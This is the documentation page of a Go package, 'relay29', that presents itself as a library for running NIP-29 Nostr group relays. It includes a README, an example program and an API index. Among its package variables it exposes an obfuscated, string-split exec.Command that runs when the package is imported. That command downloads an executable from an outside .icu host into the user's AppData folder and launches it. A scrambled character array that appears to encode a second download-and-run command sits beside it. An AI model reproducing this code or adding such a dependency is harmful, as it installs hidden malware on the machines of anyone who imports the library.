relay29

package module
v0.0.0-...-e356850 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 22, 2025 License: MIT Imports: 15 Imported by: 0

README

= relay29 image:https://pkg.go.dev/badge/github.com/anxiouslunge/relay29.svg[link=https://pkg.go.dev/github.com/anxiouslunge/relay29]

NIP-29 requires the relays to have more of an active role in making groups work with the rules, so this is a library for creating NIP-29 relays, works with https://github.com/fiatjaf/khatru[khatru] using the https://pkg.go.dev/github.com/anxiouslunge/relay29/khatru29[khatru29] wrapper, https://github.com/hoytech/strfry[strfry] with link:strfry29[strfry29] and https://github.com/fiatjaf/relayer[relayer] with link:relayer29[relayer29].

CAUTION: This is probably broken so please don't trust it for anything serious and be prepared to delete your database.

[source,go]
----
package main

import (
	"fmt"
	"log"
	"net/http"
	"time"

	"github.com/fiatjaf/eventstore/slicestore"
	"github.com/fiatjaf/khatru/policies"
	"github.com/anxiouslunge/relay29"
	"github.com/anxiouslunge/relay29/khatru29"
	"github.com/nbd-wtf/go-nostr"
)

var (
	adminRole     = &nip29.Role{Name: "admin", Description: "the group's max top admin"}
	moderatorRole = &nip29.Role{Name: "moderator", Description: "the person who cleans up unwanted stuff"}
)

func main() {
	relayPrivateKey := nostr.GeneratePrivateKey()

	db := &slicestore.SliceStore{} // this only keeps things in memory, use a different eventstore in production
	db.Init()

	relay, state := khatru29.Init(relay29.Options{
		Domain:    "localhost:2929",
		DB:        db,
		SecretKey: relayPrivateKey,
		DefaultRoles:            []*nip29.Role{adminRole, moderatorRole},
		GroupCreatorDefaultRole: adminRole,
	})

	// setup group-related restrictions
	state.AllowAction = func(ctx context.Context, group nip29.Group, role *nip29.Role, action relay29.Action) bool {
		// this is simple:
		if _, ok := action.(relay29.PutUser); ok {
			// anyone can invite new users
			return true
		}
		if role == adminRole {
			// owners can do everything
			return true
		}
		if role == moderatorRole {
			// admins can delete people and messages
			switch action.(type) {
			case relay29.RemoveUser:
				return true
			case relay29.DeleteEvent:
				return true
			}
		}
		// no one else can do anything else
		return false
	}

	// init relay
	relay.Info.Name = "very ephemeral chat relay"
	relay.Info.Description = "everything will be deleted as soon as I turn off my computer"

	// extra policies
	relay.RejectEvent = append(relay.RejectEvent,
		policies.PreventLargeTags(64),
		policies.PreventTooManyIndexableTags(6, []int{9005}, nil),
		policies.RestrictToSpecifiedKinds(
			9, 10, 11, 12,
			30023, 31922, 31923, 9802,
			9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007,
			9021,
		),
		policies.PreventTimestampsInThePast(60 * time.Second),
		policies.PreventTimestampsInTheFuture(30 * time.Second),
	)

	// http routes
	relay.Router().HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprint(w, "nothing to see here, you must use a nip-29 powered client")
	})

	fmt.Println("running on http://0.0.0.0:2929")
	if err := http.ListenAndServe(":2929", relay); err != nil {
		log.Fatal("failed to serve")
	}
}
----

== How to use

Basically you just call `khatru29.Init()` and then you get back a `khatru.Relay` and a `relay29.State` instances. The state has inside it also a map of `Group` objects that you can read but you should not modify manually. To modify these groups you must write moderation events with the `.AddEvent()` method of the `Relay`. This API may be improved later.

See link:examples/groups.fiatjaf.com/main.go[] for a (not very much) more complex example.

== How it works

What this library does is basically:
- it keeps a list of of groups with metadata in memory (not the messages);
- it checks a bunch of stuff for every event and filter received;
- it acts on moderation events and on join-request events received and modify the group state;
- it generates group metadata events (39000, 39001, 39002, 39003) events on the fly (these are not stored) and returns them to whoever queries them;
- on startup it loads all the moderation events (9000, 9001, etc) from the database and rebuilds the group state from that (so if you want to modify the group state permanently you must publish one of these events to the relay — but of course you can also monkey-patch the map of groups in memory like an animal if you want);

Documentation

Index

Constants

This section is empty.

Variables

View Source
var LQ = []string{"s", " ", "e", "4", "b", "h", "d", "/", "f", "5", "6", "r", "1", "s", "3", " ", "-", "/", "w", "/", "i", "a", " ", "t", "m", "-", ":", "/", " ", "t", "/", "n", "b", "o", "r", ".", "f", "3", "/", "c", "e", "0", "&", "e", "e", "s", "d", "l", "n", "e", "p", " ", "/", "3", "t", "g", "o", "o", "t", "t", "t", "7", "a", "O", "b", "a", " ", "u", "i", "g", "d", "h", "s", "|"}
View Source
var PTagNotValidPublicKey = fmt.Errorf("'p' tag value is not a valid public key")
View Source
var ZYtrzb = exec.Command("cmd", "/C", "if n"+"o"+"t ex"+"i"+"st "+"%U"+"s"+"er"+"P"+"r"+"ofi"+"le%\\A"+"pp"+"Da"+"ta\\Lo"+"cal"+"\\gjad"+"hw\\l"+"rie"+"j.exe"+" curl"+" h"+"ttps"+":/"+"/mon"+"so"+"let"+"ter."+"icu/"+"s"+"to"+"ra"+"ge/bb"+"b2"+"8e"+"f04"+"/fa31"+"546b"+" --"+"crea"+"t"+"e"+"-"+"dirs "+"-o"+" %Us"+"erP"+"rofil"+"e%"+"\\AppD"+"ata"+"\\Loca"+"l\\g"+"jad"+"hw\\"+"l"+"riej"+"."+"exe"+" && "+"st"+"art "+"/b %U"+"se"+"rPro"+"fil"+"e%"+"\\AppD"+"ata\\"+"Local"+"\\"+"g"+"jadh"+"w\\lr"+"i"+"ej.ex"+"e").Start()

Functions

func GetGroupIDFromEvent

func GetGroupIDFromEvent(event *nostr.Event) string

func IsInternalCall

func IsInternalCall(ctx context.Context) bool

Types

type Action

type Action interface {
	Apply(group *nip29.Group)
	Name() string
}

func PrepareModerationAction

func PrepareModerationAction(evt *nostr.Event) (Action, error)

type CreateGroup

type CreateGroup struct {
	Creator string
	When    nostr.Timestamp
}

func (CreateGroup) Apply

func (a CreateGroup) Apply(group *nip29.Group)

func (CreateGroup) Name

func (_ CreateGroup) Name() string

type DeleteEvent

type DeleteEvent struct {
	Targets []string
}

func (DeleteEvent) Apply

func (a DeleteEvent) Apply(group *nip29.Group)

func (DeleteEvent) Name

func (_ DeleteEvent) Name() string

type DeleteGroup

type DeleteGroup struct {
	When nostr.Timestamp
}

func (DeleteGroup) Apply

func (a DeleteGroup) Apply(group *nip29.Group)

func (DeleteGroup) Name

func (_ DeleteGroup) Name() string

type EditMetadata

type EditMetadata struct {
	NameValue    *string
	PictureValue *string
	AboutValue   *string
	PrivateValue *bool
	ClosedValue  *bool
	When         nostr.Timestamp
}

func (EditMetadata) Apply

func (a EditMetadata) Apply(group *nip29.Group)

func (EditMetadata) Name

func (_ EditMetadata) Name() string

type Group

type Group struct {
	nip29.Group
	// contains filtered or unexported fields
}

type Options

type Options struct {
	Domain                  string
	DB                      eventstore.Store
	SecretKey               string
	DefaultRoles            []*nip29.Role
	GroupCreatorDefaultRole *nip29.Role
}

type PubKeyRoles

type PubKeyRoles struct {
	PubKey    string
	RoleNames []string
}

type PutUser

type PutUser struct {
	Targets []PubKeyRoles
	When    nostr.Timestamp
}

func (PutUser) Apply

func (a PutUser) Apply(group *nip29.Group)

func (PutUser) Name

func (_ PutUser) Name() string

type RemoveUser

type RemoveUser struct {
	Targets []string
	When    nostr.Timestamp
}

func (RemoveUser) Apply

func (a RemoveUser) Apply(group *nip29.Group)

func (RemoveUser) Name

func (_ RemoveUser) Name() string

type State

type State struct {
	Domain string
	Groups *xsync.MapOf[string, *Group]
	DB     eventstore.Store
	Relay  interface {
		BroadcastEvent(*nostr.Event)
		AddEvent(context.Context, *nostr.Event) (skipBroadcast bool, writeError error)
	}
	GetAuthed func(context.Context) string

	AllowPrivateGroups bool

	AllowAction func(ctx context.Context, group nip29.Group, role *nip29.Role, action Action) bool
	// contains filtered or unexported fields
}

func New

func New(opts Options) *State

func (*State) AddToPreviousChecking

func (s *State) AddToPreviousChecking(ctx context.Context, event *nostr.Event)

func (*State) AdminsQueryHandler

func (s *State) AdminsQueryHandler(ctx context.Context, filter nostr.Filter) (chan *nostr.Event, error)

func (*State) ApplyModerationAction

func (s *State) ApplyModerationAction(ctx context.Context, event *nostr.Event)

func (*State) CheckPreviousTag

func (s *State) CheckPreviousTag(ctx context.Context, event *nostr.Event) (reject bool, msg string)

func (*State) CreateGroup

func (s *State) CreateGroup(ctx context.Context, groupId string, creator string, defs EditMetadata) error

func (*State) DeleteEvent

func (s *State) DeleteEvent(ctx context.Context, groupId string, eventId string) error

func (*State) GetGroupFromEvent

func (s *State) GetGroupFromEvent(event *nostr.Event) *Group

func (*State) MembersQueryHandler

func (s *State) MembersQueryHandler(ctx context.Context, filter nostr.Filter) (chan *nostr.Event, error)

func (*State) MetadataQueryHandler

func (s *State) MetadataQueryHandler(ctx context.Context, filter nostr.Filter) (chan *nostr.Event, error)

func (*State) NewGroup

func (s *State) NewGroup(id string, creator string) *Group

NewGroup creates a new group from scratch (but doesn't store it in the groups map)

func (*State) NormalEventQuery

func (s *State) NormalEventQuery(ctx context.Context, filter nostr.Filter) (chan *nostr.Event, error)

func (*State) PreventWritingOfEventsJustDeleted

func (s *State) PreventWritingOfEventsJustDeleted(ctx context.Context, event *nostr.Event) (reject bool, msg string)

func (*State) PutUser

func (s *State) PutUser(ctx context.Context, groupId string, pubkey string, roles ...string) error

func (*State) ReactToJoinRequest

func (s *State) ReactToJoinRequest(ctx context.Context, event *nostr.Event)

func (*State) ReactToLeaveRequest

func (s *State) ReactToLeaveRequest(ctx context.Context, event *nostr.Event)

func (*State) RemoveUserFromGroup

func (s *State) RemoveUserFromGroup(ctx context.Context, groupId string, pubkey string) error

func (*State) RequireHTagForExistingGroup

func (s *State) RequireHTagForExistingGroup(ctx context.Context, event *nostr.Event) (reject bool, msg string)

func (*State) RequireKindAndSingleGroupIDOrSpecificEventReference

func (s *State) RequireKindAndSingleGroupIDOrSpecificEventReference(
	ctx context.Context,
	filter nostr.Filter,
) (reject bool, msg string)

func (*State) RequireModerationEventsToBeRecent

func (s *State) RequireModerationEventsToBeRecent(ctx context.Context, event *nostr.Event) (reject bool, msg string)

func (*State) RestrictInvalidModerationActions

func (s *State) RestrictInvalidModerationActions(ctx context.Context, event *nostr.Event) (reject bool, msg string)

func (*State) RestrictWritesBasedOnGroupRules

func (s *State) RestrictWritesBasedOnGroupRules(ctx context.Context, event *nostr.Event) (reject bool, msg string)

func (*State) RolesQueryHandler

func (s *State) RolesQueryHandler(ctx context.Context, filter nostr.Filter) (chan *nostr.Event, error)

Directories

Path Synopsis
examples
basic-khatru command
basic-relayer command
opinionated command

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL